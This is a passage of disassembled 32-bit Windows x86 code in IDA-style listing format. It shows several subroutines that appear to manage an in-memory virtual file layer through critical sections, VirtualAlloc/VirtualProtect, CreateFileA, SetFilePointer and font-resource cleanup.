var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE328
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_20], 0FFFFFFFFh
		and	[ebp+var_1C], 0
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D153F
		test	eax, eax
		jz	loc_4CFEBA
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jnz	loc_4CFEBA
		mov	eax, ds:dword_4E18E8
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	short loc_4CFD98
		mov	eax, [ebp+var_34]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_38], 1
		jmp	short loc_4CFD9C
; ---------------------------------------------------------------------------


loc_4CFD98:				; CODE XREF: sub_4CFD24+5Fj
		and	[ebp+var_38], 0


loc_4CFD9C:				; CODE XREF: sub_4CFD24+72j
		movzx	eax, [ebp+var_38]
		test	eax, eax
		jz	loc_4CFEBA
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4E18E8
		call	sub_4DB871
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_4CFE88
		mov	eax, [ebp+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_4CFDE8
		push	ds:off_4DE4F8
		push	70h
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4CFDE8:				; CODE XREF: sub_4CFD24+AFj
		mov	eax, [ebp+var_28]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4CFE04
		push	ds:off_4DE4F8
		push	71h
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4CFE04:				; CODE XREF: sub_4CFD24+CBj
		mov	eax, [ebp+var_28]
		push	dword ptr [eax+4]
		call	ds:dword_4E17EC	; RemoveFontResourceA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_28]
		push	dword ptr [eax+4]
		call	ds:dword_4E16C0	; DeleteFileA
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4E18E8
		call	sub_4DB8E0
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4CFE6B
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+4]
		mov	[ebp+var_3C], eax
		push	[ebp+var_3C]
		call	sub_4D83DD
		pop	ecx
		push	1
		pop	eax
		and	eax, 1
		test	eax, eax
		jz	short loc_4CFE63
		push	[ebp+var_2C]
		call	sub_4D83DD
		pop	ecx


loc_4CFE63:				; CODE XREF: sub_4CFD24+134j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_44], eax
		jmp	short loc_4CFE6F
; ---------------------------------------------------------------------------


loc_4CFE6B:				; CODE XREF: sub_4CFD24+118j
		and	[ebp+var_44], 0


loc_4CFE6F:				; CODE XREF: sub_4CFD24+145j
		push	0FFFFFFFFh
		mov	[ebp+var_48], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_48]
		jmp	short loc_4CFEBC
; ---------------------------------------------------------------------------


loc_4CFE88:				; CODE XREF: sub_4CFD24+A3j
		push	0FFFFFFFFh
		and	[ebp+var_4C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4C]
		jmp	short loc_4CFEBC
; ---------------------------------------------------------------------------


loc_4CFE9E:				; DATA XREF: _5:004DE330o
		mov	eax, ds:dword_4E18E8
		mov	[ebp+var_40], eax
		cmp	[ebp+var_40], 0
		jz	short locret_4CFEB9
		mov	eax, [ebp+var_40]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4CFEB9:				; CODE XREF: sub_4CFD24+186j
		retn
; ---------------------------------------------------------------------------


loc_4CFEBA:				; CODE XREF: sub_4CFD24+41j
					; sub_4CFD24+4Dj ...
		xor	eax, eax


loc_4CFEBC:				; CODE XREF: sub_4CFD24+162j
					; sub_4CFD24+178j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4CFD24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CFECD	proc near		; CODE XREF: sub_4DB55B+Bp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE338
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4E18E0
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4CFF13
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_4CFF17
; ---------------------------------------------------------------------------


loc_4CFF13:				; CODE XREF: sub_4CFECD+31j
		and	[ebp+var_24], 0


loc_4CFF17:				; CODE XREF: sub_4CFECD+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	loc_4CFFAC
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E0
		call	sub_4DB871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4CFF54
		push	0FFFFFFFFh
		and	[ebp+var_2C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4CFFAE
; ---------------------------------------------------------------------------


loc_4CFF54:				; CODE XREF: sub_4CFECD+6Fj
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	ds:dword_4E17A8	; VirtualFree
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E0
		call	sub_4DB8E0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_4CFFAE
; ---------------------------------------------------------------------------


loc_4CFF90:				; DATA XREF: _5:004DE340o
		mov	eax, ds:dword_4E18E0
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short locret_4CFFAB
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4CFFAB:				; CODE XREF: sub_4CFECD+CFj
		retn
; ---------------------------------------------------------------------------


loc_4CFFAC:				; CODE XREF: sub_4CFECD+50j
		xor	eax, eax


loc_4CFFAE:				; CODE XREF: sub_4CFECD+85j
					; sub_4CFECD+C1j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4CFECD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CFFBF	proc near		; CODE XREF: sub_4DB51C+17p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE348
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0
		and	[ebp+var_24], 0
		mov	[ebp+var_1C], 2
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4D001A
		mov	eax, [ebp+var_48]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_4C], 1
		jmp	short loc_4D001E
; ---------------------------------------------------------------------------


loc_4D001A:				; CODE XREF: sub_4CFFBF+46j
		and	[ebp+var_4C], 0


loc_4D001E:				; CODE XREF: sub_4CFFBF+59j
		movzx	eax, [ebp+var_4C]
		test	eax, eax
		jz	loc_4D0203
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_4D005E
		push	0FFFFFFFFh
		and	[ebp+var_54], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_54]
		jmp	loc_4D0205
; ---------------------------------------------------------------------------


loc_4D005E:				; CODE XREF: sub_4CFFBF+84j
		mov	eax, [ebp+var_28]
		mov	eax, [eax]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_C]
		cmp	ecx, [eax+8]
		jbe	short loc_4D0086
		push	57h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		jmp	loc_4D01B8
; ---------------------------------------------------------------------------


loc_4D0086:				; CODE XREF: sub_4CFFBF+B8j
		cmp	[ebp+arg_10], 0
		jnz	short loc_4D0098
		mov	eax, [ebp+var_30]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_C]
		mov	[ebp+arg_10], eax


loc_4D0098:				; CODE XREF: sub_4CFFBF+CBj
		mov	eax, [ebp+arg_10]
		add	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_30]
		cmp	eax, [ecx+8]
		jbe	short loc_4D00B3
		push	57h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		jmp	loc_4D01B8
; ---------------------------------------------------------------------------


loc_4D00B3:				; CODE XREF: sub_4CFFBF+E5j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0
		jbe	short loc_4D00D7
		cmp	[ebp+var_58], 2
		jbe	short loc_4D00D0
		cmp	[ebp+var_58], 0F001Fh
		jz	short loc_4D00D0
		jmp	short loc_4D00D7
; ---------------------------------------------------------------------------


loc_4D00D0:				; CODE XREF: sub_4CFFBF+104j
					; sub_4CFFBF+10Dj
		mov	[ebp+var_1C], 4


loc_4D00D7:				; CODE XREF: sub_4CFFBF+FEj
					; sub_4CFFBF+10Fj
		push	[ebp+var_1C]
		push	1000h
		push	[ebp+arg_10]
		push	0
		call	ds:dword_4E17A4	; VirtualAlloc
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4D00F8
		jmp	loc_4D01B8
; ---------------------------------------------------------------------------


loc_4D00F8:				; CODE XREF: sub_4CFFBF+132j
		cmp	[ebp+var_1C], 4
		jz	short loc_4D0119
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	[ebp+arg_10]
		push	[ebp+var_20]
		call	ds:dword_4E17AC	; VirtualProtect
		test	eax, eax
		jnz	short loc_4D0119
		jmp	loc_4D01B8
; ---------------------------------------------------------------------------


loc_4D0119:				; CODE XREF: sub_4CFFBF+13Dj
					; sub_4CFFBF+153j
		push	0
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_4D0421
		and	[ebp+var_34], 0


loc_4D012C:				; CODE XREF: sub_4CFFBF+1B4j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_4D0175
		and	[ebp+var_40], 0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		lea	eax, [ebp+var_40]
		push	eax
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D0168
		cmp	[ebp+var_3C], 0
		jz	short loc_4D0168
		cmp	[ebp+var_40], 0
		jnz	short loc_4D016A


loc_4D0168:				; CODE XREF: sub_4CFFBF+19Bj
					; sub_4CFFBF+1A1j
		jmp	short loc_4D01B8
; ---------------------------------------------------------------------------


loc_4D016A:				; CODE XREF: sub_4CFFBF+1A7j
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_40]
		mov	[ebp+var_34], eax
		jmp	short loc_4D012C
; ---------------------------------------------------------------------------


loc_4D0175:				; CODE XREF: sub_4CFFBF+173j
		cmp	[ebp+var_1C], 4
		jz	short loc_4D0194
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+arg_10]
		push	[ebp+var_20]
		call	ds:dword_4E17AC	; VirtualProtect
		test	eax, eax
		jnz	short loc_4D0194
		jmp	short loc_4D01B8
; ---------------------------------------------------------------------------


loc_4D0194:				; CODE XREF: sub_4CFFBF+1BAj
					; sub_4CFFBF+1D1j
		push	[ebp+var_2C]
		push	[ebp+var_20]
		mov	ecx, ds:dword_4E18E0
		call	sub_4CC000
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_20]
		mov	[eax], ecx
		and	[ebp+var_20], 0
		mov	[ebp+var_24], 1


loc_4D01B8:				; CODE XREF: sub_4CFFBF+C2j
					; sub_4CFFBF+EFj ...
		push	0FFFFFFFFh
		mov	[ebp+var_5C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_5C]
		jmp	short loc_4D0205
; ---------------------------------------------------------------------------


loc_4D01D1:				; DATA XREF: _5:004DE350o
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jz	short loc_4D01EC
		mov	eax, [ebp+var_50]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection


loc_4D01EC:				; CODE XREF: sub_4CFFBF+21Ej
		cmp	[ebp+var_20], 0
		jz	short locret_4D0202
		push	8000h
		push	0
		push	[ebp+var_20]
		call	ds:dword_4E17A8	; VirtualFree

locret_4D0202:				; CODE XREF: sub_4CFFBF+231j
		retn
; ---------------------------------------------------------------------------


loc_4D0203:				; CODE XREF: sub_4CFFBF+65j
		xor	eax, eax


loc_4D0205:				; CODE XREF: sub_4CFFBF+9Aj
					; sub_4CFFBF+210j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_4CFFBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0216	proc near		; CODE XREF: sub_4DB4A4+11p
					; sub_4DB4E0+11p

var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004D0333 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE358
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_4D0262
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_4D0266
; ---------------------------------------------------------------------------


loc_4D0262:				; CODE XREF: sub_4D0216+37j
		and	[ebp+var_2C], 0


loc_4D0266:				; CODE XREF: sub_4D0216+4Aj
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_4D0333
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D030C
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+0Ch]
		call	ds:dword_4E16A8	; CreateFileA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jz	short loc_4D02F3
		push	10h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		mov	esi, [ebp+var_1C]
		mov	edi, [ebp+var_20]
		movsd
		movsd
		movsd
		movsd
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx]
		mov	[eax+8], ecx
		push	[ebp+var_20]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB98E


loc_4D02F3:				; CODE XREF: sub_4D0216+A2j
		push	0FFFFFFFFh
		mov	[ebp+var_34], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_34]
		jmp	short loc_4D0335
; ---------------------------------------------------------------------------


loc_4D030C:				; CODE XREF: sub_4D0216+75j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D0317
		jmp	short loc_4D0333
sub_4D0216	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D0317	proc near		; CODE XREF: sub_4D0216+FAp
					; DATA XREF: _5:004DE360o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-30h], eax
		cmp	dword ptr [ebp-30h], 0
		jz	short locret_4D0332
		mov	eax, [ebp-30h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D0332:				; CODE XREF: sub_4D0317+Cj
		retn
sub_4D0317	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D0216


loc_4D0333:				; CODE XREF: sub_4D0216+56j
					; sub_4D0216+FFj
		xor	eax, eax


loc_4D0335:				; CODE XREF: sub_4D0216+F4j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4D0216

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0346	proc near		; CODE XREF: sub_4CC3F3+17p
					; sub_4CF036+39p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D153F
		test	eax, eax
		jz	loc_4D041B
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	loc_4D041B
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+0Ch]
		call	ds:dword_4E16A8	; CreateFileA
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4D0416
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	ds:dword_4E1788	; SetFilePointer
		push	10h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+4], 0
		movzx	eax, [ebp+arg_10]
		neg	eax
		sbb	eax, eax
		and	eax, 0C0000000h
		add	eax, 40000000h
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		push	[ebp+var_10]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4E18E4
		call	sub_4CC000


loc_4D0416:				; CODE XREF: sub_4D0346+63j
		push	1
		pop	eax
		jmp	short locret_4D041D
; ---------------------------------------------------------------------------


loc_4D041B:				; CODE XREF: sub_4D0346+20j
					; sub_4D0346+2Cj
		xor	eax, eax

locret_4D041D:				; CODE XREF: sub_4D0346+D3j
		leave
		retn	14h
sub_4D0346	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D0421	proc near		; CODE XREF: sub_4CFFBF+164p
					; sub_4D5BD7+11Dp ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 004D065F SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE368
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_C], 0
		jnz	short loc_4D0452
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_C], eax


loc_4D0452:				; CODE XREF: sub_4D0421+29j
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4D0473
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_30], 1
		jmp	short loc_4D0477
; ---------------------------------------------------------------------------


loc_4D0473:				; CODE XREF: sub_4D0421+3Dj
		and	[ebp+var_30], 0


loc_4D0477:				; CODE XREF: sub_4D0421+50j
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	loc_4D065F
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_4D0638
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_24]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_4D04EB
		push	[ebp+arg_8]
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1788	; SetFilePointer
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_4D0661
; ---------------------------------------------------------------------------


loc_4D04EB:				; CODE XREF: sub_4D0421+96j
		mov	eax, [ebp+var_24]
		mov	eax, [eax+4]
		mov	[ebp+var_28], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_4D054D
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax+8]
		jle	short loc_4D051E
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_4D0548
; ---------------------------------------------------------------------------


loc_4D051E:				; CODE XREF: sub_4D0421+E2j
		cmp	[ebp+arg_4], 0
		jge	short loc_4D0537
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		jmp	short loc_4D0548
; ---------------------------------------------------------------------------


loc_4D0537:				; CODE XREF: sub_4D0421+101j
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx


loc_4D0548:				; CODE XREF: sub_4D0421+FBj
					; sub_4D0421+114j
		jmp	loc_4D061F
; ---------------------------------------------------------------------------


loc_4D054D:				; CODE XREF: sub_4D0421+D7j
		cmp	[ebp+arg_8], 2
		jnz	short loc_4D05AE
		cmp	[ebp+arg_4], 0
		jle	short loc_4D0572
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_4D05AC
; ---------------------------------------------------------------------------


loc_4D0572:				; CODE XREF: sub_4D0421+136j
		mov	eax, [ebp+var_20]
		mov	eax, [eax+8]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_4D0592
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		jmp	short loc_4D05AC
; ---------------------------------------------------------------------------


loc_4D0592:				; CODE XREF: sub_4D0421+15Cj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+8]
		mov	eax, [ebp+var_24]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx


loc_4D05AC:				; CODE XREF: sub_4D0421+14Fj
					; sub_4D0421+16Fj
		jmp	short loc_4D061F
; ---------------------------------------------------------------------------


loc_4D05AE:				; CODE XREF: sub_4D0421+130j
		cmp	[ebp+arg_8], 1
		jnz	short loc_4D0611
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_20]
		cmp	eax, [ecx+8]
		jle	short loc_4D05DB
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx
		jmp	short loc_4D060F
; ---------------------------------------------------------------------------


loc_4D05DB:				; CODE XREF: sub_4D0421+19Fj
		mov	eax, [ebp+var_28]
		add	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_4D05F8
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	83h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error
		jmp	short loc_4D060F
; ---------------------------------------------------------------------------


loc_4D05F8:				; CODE XREF: sub_4D0421+1C2j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+4]
		mov	[eax], ecx


loc_4D060F:				; CODE XREF: sub_4D0421+1B8j
					; sub_4D0421+1D5j
		jmp	short loc_4D061F
; ---------------------------------------------------------------------------


loc_4D0611:				; CODE XREF: sub_4D0421+191j
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	57h
		call	ds:dword_4E178C	; RtlRestoreLastWin32Error


loc_4D061F:				; CODE XREF: sub_4D0421:loc_4D0548j
					; sub_4D0421:loc_4D05ACj ...
		push	0FFFFFFFFh
		mov	[ebp+var_3C], 1
